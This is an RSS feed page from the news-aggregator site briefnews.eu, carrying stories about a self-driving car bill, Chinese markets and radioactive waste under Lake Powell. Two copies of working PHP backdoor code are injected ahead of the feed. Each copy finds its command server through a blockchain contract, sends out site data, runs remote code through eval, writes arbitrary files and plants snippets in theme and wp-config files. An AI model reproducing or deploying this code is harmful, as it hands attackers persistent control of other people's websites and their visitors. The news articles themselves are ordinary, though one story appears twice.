// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ticking – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Nov 2018 04:25:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ticking – Brief News https://briefnews.eu 32 32 Midterm Elections Add Ticking Clock Element to Congress’ Self-Driving Car Bill https://briefnews.eu/midterm-elections-add-ticking-clock-element-to-congress-self-driving-car-bill/ https://briefnews.eu/midterm-elections-add-ticking-clock-element-to-congress-self-driving-car-bill/#respond Thu, 01 Nov 2018 04:25:10 +0000 http://briefnews.eu/midterm-elections-add-ticking-clock-element-to-congress-self-driving-car-bill/ It looks like Congress’ new self-driving bill might have to wait until a new batch of unmentionables plant their collective rear ends in the seats populating Capitol Hill. Already passed in the House, the SELF DRIVE Act has managed to garner bipartisan support — a true miracle in these troubled times. However, it’ll have to spread wings […]

The post Midterm Elections Add Ticking Clock Element to Congress’ Self-Driving Car Bill appeared first on The Truth About Cars.

]]> https://briefnews.eu/midterm-elections-add-ticking-clock-element-to-congress-self-driving-car-bill/feed/ 0 A ticking time bomb in China has global markets looking really shaky right now https://briefnews.eu/a-ticking-time-bomb-in-china-has-global-markets-looking-really-shaky-right-now/ https://briefnews.eu/a-ticking-time-bomb-in-china-has-global-markets-looking-really-shaky-right-now/#respond Wed, 10 Oct 2018 08:46:12 +0000 http://briefnews.eu/a-ticking-time-bomb-in-china-has-global-markets-looking-really-shaky-right-now/ China tug of warReuters/CHINA STRINGER NETWORK

  • Global markets are jittery in recent days as fears about growth in China take hold.
  • “The larger the stimulus used by China to offset the trade war impact, the bigger will its deficit likely be,” Tao Wang, UBS’s chief China economist, said in a report on Tuesday
  • Markets are also worried about the ongoing Italian debt crisis, and the rising price of oil.

Trouble is brewing in global markets. Look no further than China. 

China’s current account balance is down significantly from last year’s 1.3% and will likely turn into a small deficit in 2019. If so that would be the first time in 24 years.

See the rest of the story at Business Insider

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SEE ALSO: Britain could be forced to increase government spending in a no-deal Brexit, IMF says

]]> https://briefnews.eu/a-ticking-time-bomb-in-china-has-global-markets-looking-really-shaky-right-now/feed/ 0 Does a Ticking Time Bomb Lurk Beneath Lake Powell? https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/ https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/#respond Thu, 08 Mar 2018 04:45:59 +0000 http://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/ Each year, some 3 million visitors are drawn to Lake Powell, a massive artificial body of water that straddles the Utah-Arizona border. Below gleaming red-rock cliffs, the reservoir is busy with Jet Skis, motorboats and luxurious houseboats that resemble floating Winnebagos. Out of sight but a crucial part of this iconic picture are Westerners who rely on the lake for more than recreation.

On the surface, Lake Powell seems like a dream, but below its dark-blue waters lurks an ominous legacy:

An estimated 26,000 tons of radioactive waste are covered by the silt of Lake Powell, which is part of a system that provides drinking water for 40 million people in the Southwest.

Huge piles of mining tailings rose along the banks of the Colorado River during the West’s uranium boom of the 1940s and 1950s. The White Canyon mill, built by the Vanadium Corporation of America in 1949, for example, crushed and treated 20 tons of ore per day with sulfuric acid, tributyl phosphate and other compounds, according to a Freedom of Information Act request. With 1 ton of ore yielding 5 or 6 pounds of uranium, some 39,900 pounds of tailings accumulated daily on the banks of the river, according to Jonathan Thompson, author of River of Lost Souls. Though the mill closed in 1953 and Vanadium Corp. went out of business, the tailings remained. After water began accumulating behind the Glen Canyon Dam about a decade later, the reservoir’s waters inundated the tailings.

The drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth.

“For the people enjoying Lake Powell, they’re not exposed to anything that’s going to hurt them,” says Phil Goble, uranium mill and radioactive materials section manager for the Utah Department of Environmental Quality. “The uranium mill tailings produce a sandy waste that contains heavy metals and radium, which is radioactive, but these tailings have been down there since around the 1950s, with several feet of sediment placed over top of them and the water used as a moderator, or a shield.”

The Environmental Protection Agency says two public water systems draw water directly from Lake Powell: the Navajo Generating Station and the city of Page, Arizona. “All community water systems are required to monitor and meet established drinking water standards for a suite of radionuclides to include gross alpha, combined radium 226/228 and uranium,” says Nahal Mogharabi, spokesperson for the EPA Region 9 (Pacific Southwest). “The city of Page water system is serving drinking water that meets the drinking water standards for radionuclides.”

Shutterstock 516575902

Not everyone is so sanguine. “We have no reason to doubt that there is significant radioactive waste under Lake Powell,” says Sandy Bahr, chapter director for Sierra Club’s Grand Canyon (Arizona) Chapter. “What we have said repeatedly about the uranium mine and mills is that it is not worth the risk to our drinking water.” Goble spells out the risks if radioactive elements like uranium or radium get into the lining of a human’s lungs: anemia, fractured teeth, cataracts and cancer.

And it’s not just a power plant and a small Arizona city that could be affected. Jim Pokrandt, director of community affairs for the Colorado River District, says Powell is like a “savings account” whereby the four upper basin states — Colorado, Wyoming, Utah and New Mexico — can meet their annual water supply obligations under the Colorado River Compact of 1922 to the lower basin states and to Mexico. “In a sense, Powell serves all 40 million people by protecting upper basin uses, which occur before water gets to Powell, and then supplying resources to the lower basin, which stores water in Lake Mead to meet lower basin needs.”

While the situation is currently under control, there are scenarios that could upend the status quo. “The tailings could potentially become a problem if Lake Powell gets to a very, very low water level or if the lake is drained, and the tailings are exposed,” Goble says. “In this case, if someone were to dig down and expose those tailings, or the wind blows them, or people use the spot for recreational use of off-road vehicles, then there could be a health hazard.”

Bruce Rittmann, a regents’ professor in the School of Sustainable Engineering and the Built Environment at Arizona State University, agrees that the tailings currently pose no risk to people or aquatic life in the lake, but that could change if something disrupts the tailings, such as the draining of the lake or a dredging operation that stirs up sediment.

Draining the lake may sound ludicrous, but the reservoir hasn’t been full since the late 1990s, and ongoing overuse and the drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth. Some scientists predict that climate change will intensify and prolong the West’s drought cycles. If that happens and Powell becomes a red-rock canyon once again, then an old mess may finally have to be cleaned up.

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]]> https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell-2/feed/ 0 Does a Ticking Time Bomb Lurk Beneath Lake Powell? https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/ https://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/#respond Wed, 07 Mar 2018 16:49:46 +0000 http://briefnews.eu/does-a-ticking-time-bomb-lurk-beneath-lake-powell/ Each year, some 3 million visitors are drawn to Lake Powell, a massive artificial body of water that straddles the Utah-Arizona border. Below gleaming red-rock cliffs, the reservoir is busy with Jet Skis, motorboats and luxurious houseboats that resemble floating Winnebagos. Out of sight but a crucial part of this iconic picture are Westerners who rely on the lake for more than recreation.

On the surface, Lake Powell seems like a dream, but below its dark-blue waters lurks an ominous legacy:

An estimated 26,000 tons of radioactive waste are covered by the silt of Lake Powell, which is part of a system that provides drinking water for 40 million people in the Southwest.

Huge piles of mining tailings rose along the banks of the Colorado River during the West’s uranium boom of the 1940s and 1950s. The White Canyon mill, built by the Vanadium Corporation of America in 1949, for example, crushed and treated 20 tons of ore per day with sulfuric acid, tributyl phosphate and other compounds, according to a Freedom of Information Act request. With 1 ton of ore yielding 5 or 6 pounds of uranium, some 39,900 pounds of tailings accumulated daily on the banks of the river, according to Jonathan Thompson, author of River of Lost Souls. Though the mill closed in 1953 and Vanadium Corp. went out of business, the tailings remained. After water began accumulating behind the Glen Canyon Dam about a decade later, the reservoir’s waters inundated the tailings.

The drought from 2000 to 2005 dropped the water level nearly 100 feet — about a fifth of its total depth.

“For the people enjoying Lake Powell, they’re not exposed to anything that’s going to hurt them,” says Phil Goble, uranium mill and radioactive materials section manager for the Utah Department of Environmental Quality. “The uranium mill tailings produce a sandy waste that contains heavy metals and radium, which is radioactive, but these tailings have been down there since around the 1950s, with several feet of sediment placed over top of them and the water used as a moderator, or a shield.”

The Environmental Protection Agency says two public water systems draw water directly from Lake Powell: the Navajo Generating Station and the city of Page, Arizona. “All community water systems are required to monitor and meet established drinking water standards for a suite of radionuclides to include gross alpha, combined radium 226/228 and uranium,” says Nahal Mogharabi, spokesperson for the EPA Region 9 (Pacific Southwest). “The city of Page water system is serving drinking water that meets the drinking water standards for radionuclides.”

Shutterstock 516575902

Not everyone is so sanguine. “We have no reason to doubt that there is significant radioactive waste under Lake Powell,” says Sandy Bahr, chapter director for Sierra Club’s Grand Canyon (Arizona) Chapter. “What we have said repeatedly about the uranium mine and mills is that it is not worth the risk to our drinking water.” Goble spells out the risks if radioactive elements like uranium or radium get into the lining of a human’s lungs: anemia, fractured teeth, cataracts and cancer.

And it’s not just a power plant and a small Arizona city that could be affected. Jim Pokrandt, director of community affairs for the Colorado River District, says Powell is like a “savings account” whereby the four upper basin states — Colorado, Wyoming, Utah and New Mexico — can meet their annual water supply obligations under the Colorado River Compact of 1922 to the lower basin states and to Mexico. “In a sense, Powell serves all 40 million people by protecting upper basin uses, which occur before water gets to Powell, and then supplying resources to the lower basin, which stores water in Lake Mead to meet lower basin needs.”

